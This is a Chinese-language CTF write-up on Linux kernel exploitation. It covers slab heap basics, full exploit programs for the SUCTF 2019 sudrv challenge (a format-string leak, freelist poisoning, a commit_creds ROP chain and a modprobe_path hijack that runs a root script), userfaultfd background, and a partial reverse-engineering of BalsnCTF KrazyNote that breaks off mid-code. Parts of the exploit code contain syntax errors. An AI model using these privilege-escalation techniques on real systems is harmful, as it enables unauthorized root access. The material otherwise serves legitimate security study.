Kernel进阶学习

字数统计: 8.7k字   |   阅读时长≈ 41分

前面基本上将最基础的Kernel题做了一下，现在做一下最近的题，算是Kernel的进阶学习。

内核堆

首先学一点关于内核堆函数的知识。

内核一般会用到 kmalloc()、kzalloc()和 vmalloc()等函数。

kmalloc

1
void *kmalloc(size_t size, gfp_t flags)；

kmalloc()申请的内存位于物理内存映射区域，而在物理上也是连续的，他们与真实的物理地址只有一个固定的偏移，因为存在较简单的转换关系，所以对申请的内存大小有限制，不能超过128KB。

较常用的 flags(分配内存的方法)：

  • GFP_ATOMIC：分配内存的过程是一个原子过程，分配内存的过程不会被高优先级进程或中断打断；
  • GFP_KERNEL：正常分配内存
  • GFP_DMA：给DMA控制器分配内存，需要使用该标志（DMA要求分配虚拟地址和物理地址连续）。

kfree

1
void kfree(const void *objp);

内核堆结构

Linux内核使用的是 slab/slub分配器，与glibc下的ptmalloc的fastbin有许多类似的地方，比如 Kfree后，空闲堆块也会有 fd指针指向下一个空闲块。

与glibc下ptmalloc2不同的是，slab/slub分配的堆的大小不是数据域加头结构的大小，而是与 slab/slub里面的内存桶对齐的，在root下使用如下命令，可以查看内存桶：

1
cat /proc/slabinfo

image-20201120111536423

并且申请内核堆时，堆size是向上对齐的，例如申请 300字节空间，那么slab分配的实际空间的大小为 512，并且大小相同的堆靠在一起。

因此，如果要利用栈溢出写的话，应该以实际大小来计算偏移。

还有常见的攻击方法是，可以伪造空闲块的next指针，则可以很容易分配到我们想要的地方，不像ptmalloc2里的堆，还需要伪造堆头结构。这一点和tcache poisoning攻击十分类似。

2019 SUCTF Sudrv

程序分析

首先看一下 start.sh和文件系统里的 init，如下所示，可以发现开启了 Kaslr和smep，没有开启 dmesg_restrict，也就是我们可以使用dmesg输出内核缓冲区信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/bin/sh
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
mknod -m 622 console c 5 1
mknod -m 622 tty0 c 4 0
insmod sudrv.ko
mknod /dev/meizijiutql c 233 0
chmod 666 /dev/meizijiutql
mdev -s
sysctl kernel.dmesg_restrict=0 
# echo "7 7 7 7" > /proc/sys/kernel/printk
setsid /bin/cttyhack setuidgid 1000 /bin/sh
# /bin/sh
1
2
3
4
5
6
7
8
9
10
11
#! /bin/sh

qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd  ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr" \
-monitor /dev/null \
-nographic 2>/dev/null \
-smp cores=2,threads=1 \
-cpu kvm64,+smep

接着分析一下 sudrv.ko ,sudrv_init完成了驱动注册和堆的初始化。

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl sudrv_init()
{
  int v0; // eax
  __int64 v1; // rdi

  printk(&unk_190);
  v0 = _register_chrdev(233LL, 0LL, 256LL, "meizijiutql", &fops);
  v1 = kmalloc_caches[12];
  su_fd = v0;
  su_buf = (char *)kmem_cache_alloc_trace(v1, 4718624LL, 4096LL);
  return 0;
}

sudrv_ioctl实现了三个功能：通过 kmalloc完成堆分配；通过 kfree实现堆释放。还通过 sudrv_ioctl_cold2实现堆输出，并且这里就存在一个格式化输出漏洞，我们可以输出内核栈上的一些信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
__int64 __fastcall sudrv_ioctl(__int64 a1, int a2, __int64 size)
{
  __int64 result; // rax

  switch ( a2 )
  {
    case 0x73311337:
      if ( (unsigned __int64)(size - 1) > 0xFFE )
        return 0LL;
      su_buf = (char *)_kmalloc(size, 0x480020LL);
      result = 0LL;
      break;
    case (int)0xDEADBEEF:
      if ( su_buf )
        JUMPOUT(0xB8LL);
      result = 0LL;
      break;
    case 0x13377331:
      kfree(su_buf);
      result = 0LL;
      su_buf = 0LL;
      break;
    default:
      return 0LL;
  }
  return result;
}

void __fastcall sudrv_ioctl_cold_2(__int64 a1)
{
  printk(a1);
  JUMPOUT(0x38LL);
}

在 sudrv_write中实现了用户对堆数据的写，但是这里没有检查输入的大小，因此可以造成堆溢出。

1
2
3
4
5
6
__int64 sudrv_write()
{
  if ( !(unsigned int)copy_user_generic_unrolled(su_buf) )
    JUMPOUT(0xA9LL);
  return -1LL;
}

利用分析

  1. 泄露kernel地址和stack地址

首先利用格式化字符串泄露kernel和stack地址。这里得到kernel地址后减去初始的偏移，再与我们静态分析得到Kernel地址相减，得到最后的 offset。

  1. 修改堆netx指针

然后利用堆溢出修改其紧邻的下一个堆的next指针。这里申请的堆块大小是 160，但是系统分配的堆块真实大小是 0xc0。所以溢出时首先要填充0xc0，再将 next指针指向 我们指向sudrv_write函数时的rsp。

然后再连续分配两次160的堆块，得到的第二个堆块就指向了 sudrv_write函数的rsp。我们在此补上ROP来getshell，可以直接使用ROP来getroot再getshell。也可以直接使用 ret2usr来 getshell。

通过下图，我们可以看到 sudrv_write函数执行完后，其ret是直接返回到 rsp的地址。

image-20201120173826998

使用堆覆盖后，我们将紧邻的下一个堆块的next指向了 rsp。

image-20201120173901219

可以看到分配到了rsp的伪堆块，然后写入ROP即可。

image-20201120173928651

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <errno.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <sys/syscall.h>
#include <stdint.h>
unsigned long long heap_addr = 0;
unsigned long long stack_addr = 0;
unsigned long long kernel_addr = 0;
unsigned long long commit_creds = 0xffffffff8c681410;
unsigned long long prepare_kernel_cred = 0xffffffff8c681790;
unsigned long long vmlinux_raw = 0xffffffff81000000;

unsigned long long user_cs, user_ss, user_rflags, user_sp;
unsigned long user_stack = 0;
unsigned long long p_rdi_r = 0xffffffff81001388;
unsigned long long p_rdx_r = 0xffffffff81044f17;
unsigned long long p_rcx_r = 0xffffffff81021e53;
unsigned long long mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
unsigned long long swapgs_popfq_ret = 0xffffffff81a00d5a;
unsigned long long rop[0x1000] = {0};

void get_addr(){
    int addr_fd = open('/tmp/res.txt', O_RDONLY);
    char buf[0x1001] = {0};
    lseek(addr_fd, -0x1000, SEEK_END);
    read(addr_fd, buf, 0x1000);
    close(addr_fd);
    char* idx = strstr(buf, "heap_addr:");
    if(idx > 0)
    {
        idx += 10;
        heap_addr = strtoull(idx, idx+16, 16);
        printf("kernel_addr:%p\n",heap_addr);
    }
    else{
        puts("Found heap_addr failed");
        exit(0);
    }
    idx = strstr(buf, "stack_addr:");
    if(idx > 0)
    {
        idx += 11;
        stack_addr = strtoull(idx, idx+16, 16);
        printf("stack_addr:%p\n",stack_addr);
    }
    else{
        puts("Found stack_addr failed\n");
        exit(0);
    }
}

void get_shell(){
   if(!getuid()){
      system("/bin/sh");
   }
   else{
      puts("[*]spawn shell error!");
   }
   exit(0);
}


void save_status(){
   __asm__("mov user_cs,cs;"
           "mov user_ss,ss;"
           "mov user_sp,rsp;"
           "pushf;" //push eflags
           "pop user_rflags;"
          );
}

void kernel_malloc(int fd, int size){
    ioctl(fd, 0x73311337, size);
}

void kernel_free(int fd)
{
        ioctl(fd, 0x13377331);
}

int main(){
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    int fd = open("/dev/meizijiutql", O_RDWR);

    kernel_malloc(fd, 168);

    char buf[150] = "%llx-%llx-%llx-%llx-%llx-%llx-%llx-%llx-%llx-heap_addr:%llx-%llx-%llx-%llx-%llx-kernel_addr:%llx-stack_addr:%llx-%llx-%llx\n";
    //memset(buf, '%llx-%llx-%llx-%llx-%llx-%llx-%llx-%llx-%llx-heap_addr:%llx-%llx-%llx-%llx-%llx-kernel_addr:%llx-stack_addr:%llx-%llx-%llx', 0x50);
    write(fd, buf, 150);

    printf("=========>begin leak addr\n");
    ioctl(fd, 0xDEADBEEF);

    puts("please input kernel_addr:");
    scanf("%llx",(size_t *)kernel_addr);
    puts("please input stack_addr:");
    scanf("%llx",(size_t *)stack_addr);

    puts("kernel free:")
    kernel_free(fd);

    vmbase = kernel_addr - 0x1c9a268
    size_t offset = vmbase - vmlinux_raw
    p_rdi_r = offset + p_rdi_r;
    p_rdx_r = offset + p_rdx_r;
    p_rcx_r = offset + p_rcx_r;
    mov_rdi_rax_call_rdx = offset + mov_rdi_rax_call_rdx;
    swapgs_popfq_ret = offset + swapgs_popfq_ret;
    prepare_kernel_cred = offset + prepare_kernel_cred;
    commit_creds = offset + commit_creds;
    size_t rsp_addr = stack_addr - 0x88;
    puts("prepare ROP:");
    //prepare_kernel_cred(0)
    rop[i++] = p_rdi_r;
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred;

    //commit_cread(rax)
    rop[i++] = p_rdx_r;
    rop[i++] = p_rcx_r;
    rop[i++] = mov_rdi_rax_call_rdx;
    rop[i++] = commit_creds;

    //kernel space to user space: swapgs ireta
    //swapgs: get kernle data structure
    //popfq: pop eflags
    //retn iretq
    rop[i++] = swapgs_popfq_ret;
    rop[i++] = 0;

    //ireta: from kernle space to user space
    //prepare cs, eflags.rsp
    rop[i++] = (size_t)get_shell;

    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    save_status()
    //write ROP into stack
    char mem[0xc0+0x10];
    memset(mem,0x41,0xd0);
    memcpy(mem+0xc0,rsp_addr,0x10);
    write(1,mem,0xd0);
    kernel_malloc(fd,168);
    write(fd,mem,0xd0);
    kernel_malloc(fd,168);
    char buf2[100] = {0};
    write(fd,buf2,100);
    kernel_malloc(fd,168);
    write(fd,(char*)rop,180);
    kernel_malloc(fd,168);
    write(fd,(char*)rop,180);

    return 0;
}

modprobe_path

modprobe_path指向了一个内核在运行未知文件类型时运行的二进制文件，党内和运行一个错误格式的文件的时候，会调用这个 modprobe_path所指向的二进制文件去，如果我们将这个字符串指向我们自己的二进制文件，那么在发生错误的时候就可以执行我们自己的二进制文件了。

这里 modprobe_path的地址可以通过 cat直接查看到：

1
cat /proc/kallsyms | grep modprobe_path

原理代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __request_module(bool wait, const char *fmt, ...) 
{ 
    va_list args; 
    char module_name[MODULE_NAME_LEN]; 
    unsigned int max_modprobes; 
    int ret; 
// char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe"; 
    char *argv[] = { modprobe_path, "-q", "--", module_name, NULL }; 
    static char *envp[] = { "HOME=/", 
                "TERM=linux", 
                "PATH=/sbin:/usr/sbin:/bin:/usr/bin", 
                NULL }; // 环境变量. 
    static atomic_t kmod_concurrent = ATOMIC_INIT(0); 
#define MAX_KMOD_CONCURRENT 50    /* Completely arbitrary value - KAO */ 
    static int kmod_loop_msg; 

    va_start(args, fmt); 
    ret = vsnprintf(module_name, MODULE_NAME_LEN, fmt, args);   
    va_end(args); 
    if (ret >= MODULE_NAME_LEN) 
        return -ENAMETOOLONG; 
    max_modprobes = min(max_threads/2, MAX_KMOD_CONCURRENT);    
    atomic_inc(&kmod_concurrent); 
    if (atomic_read(&kmod_concurrent) > max_modprobes) { 
        /* We may be blaming an innocent here, but unlikely */ 
        if (kmod_loop_msg++ < 5) 
            printk(KERN_ERR 
                   "request_module: runaway loop modprobe %s\n", 
                   module_name); 
        atomic_dec(&kmod_concurrent);                           
        return -ENOMEM;                                         
    } 
    ret = call_usermodehelper(modprobe_path, argv, envp,        // 执行用户空间的应用程序
            wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC); 
    atomic_dec(&kmod_concurrent);                                
    return ret; 
}

如果我们把 modprobe_path的内容换成我们自己的一个sh文件，那么就能以root权限去执行我们的sh文件。我们可以通过运行一个错误格式的二进制文件来出发调用 modprobe_path的内容：

1
2
3
4
system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/copy.sh");
    system("chmod +x /home/pwn/copy.sh");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/sir");
    system("chmod +x /home/pwn/sir");

需要注意的是 system里面的命令要程序的全路径，而不能是相对路径，cp命令要写为 /bin/cp；

也就是说这道题，我们可以直接使用修改堆的next指针指向 modprobe_path，将其改为我们自己创建的 sh文件。然后修改完之后，去执行错误的 sir文件，就能引发异常，从而使内核态执行我们的 sh文件。而 sh文件的的功能就是将flag拷贝到tmp，然后赋予 777权限，然后让我们普通用户能够读取。

该技术的前提条件如下：

  1. 知道 modprobe_path的地址；
  2. 知道 kpti_trampoline的地址，以便在覆写 modprobe_path之后干净地返回到用户空间；
  3. 有任意写入原语

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <errno.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <sys/syscall.h>
#include <stdint.h>
#define CREATE 0x73311337
#define SHOW 0xDEADBEEF
#define DELETE 0x13377331


void create_slab(int fd, unsigned long long size) {
    ioctl(fd, CREATE, size);
}

void show(int fd) {
    ioctl(fd, SHOW, NULL);
}

void delete(int fd){
    ioctl(fd, DELETE, NULL);
}

int main(void) {
    system("echo -ne '#!/bin/sh\n/bin/cp /flag /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/getflag.sh");
    system("chmod +x /tmp/getflag.sh");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/ll");
    system("chmod +x /tmp/ll");
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    int fd = open("/dev/meizijiutql", O_RDWR);
    char *buf = malloc(0x1000);

    memset(buf, 'a', 0x1000);

    create_slab(fd, 0x80);

    write(fd, buf, 0x60);

    show(fd);
    show(fd);
    show(fd);
    show(fd);
    //getchar();

    char *modprobe_addr = (char *)malloc(0x10);

    create_slab(fd, 0x400);

    memset(modprobe_addr, '\x00', 0x10);
    memset(buf, '\x00', 0x1000);
    memset(buf, 'a', 0x400);

    printf("Please input modprobe_addr:");

    read(0, modprobe_addr, 8);

    strcat(buf, modprobe_addr);

    write(fd, buf, 0x408);
    puts("begin");
    create_slab(fd, 0x400);
    write(fd, "/tmp/getflag.sh\x00", 17);
    create_slab(fd, 0x400);
    write(fd, "/tmp/getflag.sh\x00", 17);

    close(fd);
    system("/tmp/ll");
    system("cat /tmp/flag");
    return 0;
}

我们在执行结束之后，通过 执行 /tmp/ll引发异常报错，然后系统就会调用 getflag.sh，将 flag拷贝到 /tmp目录下，并赋予 777 权限。

image-20201124152355922

Linux内核userfaultfd使用

一下内容，主要参考这篇文章。

背景知识

提权

内核提权的常用思路，在我们之前所讲中已经提到，即修改 task_struct中的 cred结构，commit_cred(prepare_kernel_creds(0))是常用的提权函数。

SMEP防止在内核态执行用户态代码，采用 ROP 来绕过；SMAP 防止内核态使用用户态数据，切断了用户态的 ROP，可以 copy_from_user和 copy_to_user来绕过 SMAP。

页和虚内存

内核的内存主要有两个区域，RAM 和 交换区，即将被使用的内存保存在 RAM中，暂时不被使用的内存放在交换区，内核控制交换进出过程。RAM中地址是物理地址，而内核使用虚地址，所以通过页表建立虚地址到物理地址的映射。虚拟页和物理页大小都是 0x1000字节，64位系统下需 2^52 个页。

页调度与延迟加载

有的内存既不在 RAM也不在交换区，例如 mmap创建的内存映射页。mmap页在 read/write访问之前，实际上还没有创建（还没有映射到实际的物理页），例如：mmap(0x1337000, 0x1000, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_PRIVATE, fd, 0);。

内核并未将 fd内容拷贝到 0x1337000，只是将地址 0x1337000映射到文件 fd。

当有如下代码访问时：

1
2
char *a = (char *)0x1337000
printf("content: %c\n", a[0]);

若发生对该页的引用，则（1）为 0x1337000 创建的物理帧；（2）从 fd读内容到 0x1337000；（3）并在页表标记合适的入口，以便识别 0x1337000虚地址。如果是堆空间映射，仅第2步不同，只需将对应物理帧清0.

首次访问 mmap创建的页，会耗时很长，会导致上下文切换和当前线程的睡眠。

别名页 Alias pages

没有 ABI 能直接访问物理页，但内核有时需要修改物理帧的值（例如修改页表入口），于是引入了别名页，将物理帧映射到虚拟页。在每个线程的启动和退出的页表中，所以大多数物理帧有两个虚拟页映射到他，这就是 “别名”的由来。通常别名页的地址是 SOME_OFFSET + physical address。

userfaultfd

userfaultfd机制可以让用户来处理缺页，可以在用户空间定义自己的 page fault handler。这里可以参考官方文档。其工作流程可用下图表示:

img

其中 Faulting thread、mm core、userfaultfd都是属于同一个内核线程，右边 的 uffd monitor是属于另一个（内核）线程，其在用户态应该表现为共享地址空间的2个线程。

首先 Faulting thread读取了一块未分配物理页的内存（这里用到上述的页调度与延迟加载），触发了 page fault。此时进入到内核中处理，内核调用了 handle_userfault交给 userfaultfd相关的代码进行处理，此时该线程将被挂起进入阻塞状态。同时一个待处理的消息 uffd_msg结构通过该 fd发送到了另一个 monitor线程，该线程可以调用相关 API 进行处理(UFFDIO_COPY或UFFDIO_ZEROPAGE)并告知内核唤醒 faulting thread。可以看到使用 userfaultfd技术，我们可以在发生缺页时，竞争获得一个窗口期在原本进程中插入自己的操作。

下面讲述一下 userfault实现的基本过程：

1. 创建一个描述符 uffd

所有的注册内存区间、配置和最终的缺页处理等都需要用 ioctl来对这个 uffd操作。ioctl-userfaultfd支持 UFFDIO_API\ UFFDIO_REGISTER`UFFDIO_UNREGISTER\UFFDIO_COPY\UFFDIO_ZEROPAGE\UFFDIO_WAKE等选项。比如UFFDIO_REGISTER用来向userfaultfd机制注册一个监视区域，这个区域发生缺页时，需要用UFFDIO_COPY`来向缺页的地址拷贝自定义数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 2 个用于注册、注销的ioctl选项：
UFFDIO_REGISTER                 注册将触发user-fault的内存地址
UFFDIO_UNREGISTER               注销将触发user-fault的内存地址
# 3 个用于处理user-fault事件的ioctl选项：
UFFDIO_COPY                     用已知数据填充user-fault页
UFFDIO_ZEROPAGE                 将user-fault页填零
UFFDIO_WAKE                     用于配合上面两项中 UFFDIO_COPY_MODE_DONTWAKE 和
                                UFFDIO_ZEROPAGE_MODE_DONTWAKE模式实现批量填充  
# 1 个用于配置uffd特殊用途的ioctl选项：
UFFDIO_API                      它又包括如下feature可以配置：
                                UFFD_FEATURE_EVENT_FORK         (since Linux 4.11)
                                UFFD_FEATURE_EVENT_REMAP        (since Linux 4.11)
                                UFFD_FEATURE_EVENT_REMOVE       (since Linux 4.11)
                                UFFD_FEATURE_EVENT_UNMAP        (since Linux 4.11)
                                UFFD_FEATURE_MISSING_HUGETLBFS  (since Linux 4.11)
                                UFFD_FEATURE_MISSING_SHMEM      (since Linux 4.11)
                                UFFD_FEATURE_SIGBUS             (since Linux 4.14)
1
2
// userfaultfd系统调用创建并返回一个uffd，类似一个文件的fd
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);

2. 用 ioctl的 UFFDIO_REGISTER选项注册监视区域

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// 注册时要用一个struct uffdio_register结构传递注册信息:
// struct uffdio_range {
// __u64 start;    /* Start of range */
// __u64 len;      /* Length of range (bytes) */
// };
//
// struct uffdio_register {
// struct uffdio_range range;
// __u64 mode;     /* Desired mode of operation (input) */
// __u64 ioctls;   /* Available ioctl() operations (output) */
// };

addr = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)
// addr 和 len 分别是我匿名映射返回的地址和长度，赋值到uffdio_register
uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
// mode 只支持 UFFDIO_REGISTER_MODE_MISSING
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
// 用ioctl的UFFDIO_REGISTER注册
ioctl(uffd, UFFDIO_REGISTER, &uffdio_register);

3. 创建一个处理专用的线程轮询和处理 “user-fault”事件

要使用 uerfaultfd，需要创建一个处理专用的线程轮询和处理 user-fault时间。主进程中 就要调用 pthread_create创建这个自定义的 handler线程：

1
2
// 主进程中调用pthread_create创建一个fault handler线程
pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd);

一个自定义的线程函数举例如下，这里处理的是一个普通的匿名页用户态缺页，需要做的是把我们一个一又的一个page大小的buffer内容拷贝到缺页的内存地址处。用到 poll函数轮询 uffd，并对轮询到的 UFFD_EVENT_PAGEFAULT事件(event)用拷贝 ioctl的 UFFDIO_COPY 选项进行处理。

注意：写 exp 只需处理一次缺页，可以不用循环：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static void * fault_handler_thread(void *arg)
{    
    // 轮询uffd读到的信息需要存在一个struct uffd_msg对象中
    static struct uffd_msg msg;
    // ioctl的UFFDIO_COPY选项需要我们构造一个struct uffdio_copy对象
    struct uffdio_copy uffdio_copy;
    uffd = (long) arg;
      ......
    for (;;) { // 此线程不断进行polling，所以是死循环
        // poll需要我们构造一个struct pollfd对象
        struct pollfd pollfd;
        pollfd.fd = uffd;
        pollfd.events = POLLIN;
        poll(&pollfd, 1, -1);
        // 读出user-fault相关信息
        read(uffd, &msg, sizeof(msg));
        // 对于我们所注册的一般user-fault功能，都应是UFFD_EVENT_PAGEFAULT这个事件
        assert(msg.event == UFFD_EVENT_PAGEFAULT);
        // 构造uffdio_copy进而调用ioctl-UFFDIO_COPY处理这个user-fault
        uffdio_copy.src = (unsigned long) page;
        uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1);
        uffdio_copy.len = page_size;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        // page(我们已有的一个页大小的数据)中page_size大小的内容将被拷贝到新分配的msg.arg.pagefault.address内存页中
        ioctl(uffd, UFFDIO_COPY, &uffdio_copy);
          ......
    }
}

2019-BalsnCTF KrazyNote

程序分析

1
2
3
4
5
6
__int64 __fastcall init_module(__int64 a1, __int64 a2)
{
  _fentry__(a1, a2);
  bufptr = (__int64)&unk_B60;
  return misc_register(&unk_620);
}

程序首先注册了一个 unk_B60结构，该结构体为 miscdevice

1
2
3
4
5
6
7
8
9
10
11
struct miscdevice  {
    int minor;
    const char *name;
    const struct file_operations *fops;
    struct list_head list;
    struct device *parent;
    struct device *this_device;
    const struct attribute_group **groups;
    const char *nodename;
    umode_t mode;
};

然后，可以看一下 B60的数据，这里只有 name和 fops：

1
2
3
4
5
6
7
8
9
10
11
12
.data:0000000000000620 unk_620         db  0Bh                 ; DATA XREF: init_module+5↑o
.data:0000000000000620                                         ; cleanup_module+5↑o
.data:0000000000000621                 db    0
.data:0000000000000622                 db    0
.data:0000000000000623                 db    0
.data:0000000000000624                 db    0
.data:0000000000000625                 db    0
.data:0000000000000626                 db    0
.data:0000000000000627                 db    0
.data:0000000000000628                 dq offset aNote         ; "note"
.data:0000000000000630                 dq offset unk_680
.data:0000000000000638                 align 80h

然后，可以看一下 其中 fops注册的结构 file_operations：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// file_operations结构
struct file_operations {
    struct module *owner;
    loff_t (*llseek) (struct file *, loff_t, int);
    ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
    ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
    ssize_t (*read_iter) (struct kiocb *, struct iov_iter *);
    ssize_t (*write_iter) (struct kiocb *, struct iov_iter *);
    int (*iopoll)(struct kiocb *kiocb, bool spin);
    int (*iterate) (struct file *, struct dir_context *);
    int (*iterate_shared) (struct file *, struct dir_context *);
    __poll_t (*poll) (struct file *, struct poll_table_struct *);
    long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
    long (*compat_ioctl) (struct file *, unsigned int, unsigned long);

    ... truncated
};

可以看到该结构体，是对 file进行操作的结构体。我们看一下数据，会发现该结构体中，就有两个地方定义了函数 sub_10和 sub_0。而这两个地方刚好对应结构体的 unlocked_ioctl和 open指针，其他都是null。unlocked_ioctl和compat_ioctl有区别，unlocked_ioctl不使用内核提供的全局同步锁，所有的同步原语需自己实现，所以可能存在条件竞争漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
.data:00000000000006D0                 dq offset sub_10
.data:00000000000006D8                 db    0
.data:00000000000006D9                 db    0
.data:00000000000006DA                 db    0
.data:00000000000006DB                 db    0
.data:00000000000006DC                 db    0
.data:00000000000006DD                 db    0
.data:00000000000006DE                 db    0
.data:00000000000006DF                 db    0
.data:00000000000006E0                 db    0
.data:00000000000006E1                 db    0
.data:00000000000006E2                 db    0
.data:00000000000006E3                 db    0
.data:00000000000006E4                 db    0
.data:00000000000006E5                 db    0
.data:00000000000006E6                 db    0
.data:00000000000006E7                 db    0
.data:00000000000006E8                 db    0
.data:00000000000006E9                 db    0
.data:00000000000006EA                 db    0
.data:00000000000006EB                 db    0
.data:00000000000006EC                 db    0
.data:00000000000006ED                 db    0
.data:00000000000006EE                 db    0
.data:00000000000006EF                 db    0
.data:00000000000006F0                 dq offset sub_0

sub_0函数没什么东西，我们主要具体分析 unlocked_ioctl对应的sub_10函数，其主要实现了 new\edit\show\delete功能。然后主要有两个结构体，一个是 note，一个是用户传入的结构体 noteRequest ：

1
2
3
4
5
6
7
8
9
10
11
12
13
// note结构——存储的note
struct note {
    unsigned long key;
    unsigned char length;
    void *contentPtr;
    char content[];
}
// noteRequest结构——用户参数
struct noteRequest{
  size_t idx;
  size_t length;
  size_t userptr;
}

note中 key是用于加密存储数据的，length是数据的长度，content[]是一个动态数组的地址，用于存储数据；而 contentPtr=&note->content - page_offset_base，上面提到的别名页的地址是[SOME_OFFSET + physical address]，page_offset_base就是这个SOME_OFFSET。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
if ( (unsigned int)a2 <= 0xFFFFFF01 )
{
  if ( (_DWORD)a2 != -256 )                   // New
    return -25LL;
  idx = -1LL;
  v7 = 0LL;
  while ( 1 )                                 // get freed note
  {
    idx1 = (int)v7;
    if ( !note_list[v7] )
      break;
    if ( ++v7 == 16 )
      return -14LL;
  }
  new_note = (_QWORD *)bufptr;
  idx = idx1;
  note_list[idx1] = bufptr;
  new_note[1] = note_length1;
  v21 = (char *)(new_note + 3);
  *new_note = *(_QWORD *)(*(_QWORD *)(__readgsqword((unsigned int)&current_task) + 2024) + 80LL);
  v22 = n;
  v23 = userbuf1;
  bufptr = (__int64)new_note + n + 24;        // get next free mem
  if ( n > 0x100 )
  {
    _warn_printk("Buffer overflow detected (%d < %lu)!\n", 256LL, n);
    BUG();
  }
  _check_object_size(encbuf, n, 0LL);
  copy_from_user(encbuf, v23, v22);
  v24 = n;
  v25 = (_QWORD *)note_list[idx];
  if ( n )
  {
    v26 = 0LL;
    do
    {
      encbuf[v26 / 8] ^= *v25;
      v26 += 8LL;
    }
    while ( v26 < v24 );
  }
  memcpy(v21, encbuf, v24);
  result = 0LL;
  v25[2] = &v21[-page_offset_base];
}

New函数中，会首先从 note_list中得到空闲的note的idx，然后从 bufptr中取出空闲的地址，并将其赋值给 note结构，然后依次赋值 length 和 contentPtr。并将 bufptr指向下一处空闲地址，随后取出 encbuf，将用户数据拷贝到 encbuf，然后依次使用 key加密，最后将加密数据拷贝到 note->content。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
if ( (_DWORD)a2 == 0xFFFFFF01 )               // Edit
{
  note = note_list[idx2];
  if ( note )
  {
    note_length = *(unsigned __int8 *)(note + 8);
    user_buf1 = userbuf1;
    contentArr1 = (_QWORD *)(*(_QWORD *)(note + 16) + page_offset_base);
    _check_object_size(encbuf, note_length, 0LL);
    copy_from_user(encbuf, user_buf1, note_length);// get user new input
    if ( note_length )
    {
      key = (_QWORD *)note_list[idx];
      for ( i = 0LL; i < note_length; i += 8LL )
        encbuf[i / 8] ^= *key;                // enc new data
      if ( (unsigned int)note_length >= 8 )
      {
        *contentArr1 = encbuf[0];
        *(_QWORD *)((char *)contentArr1 + (unsigned int)note_length - 8) = *(__int64 *)((char *)&userbuf1
                                                                                      + (unsigned int)note_length);
        result = 0LL;
        qmemcpy(                              // copy new data to contentArr
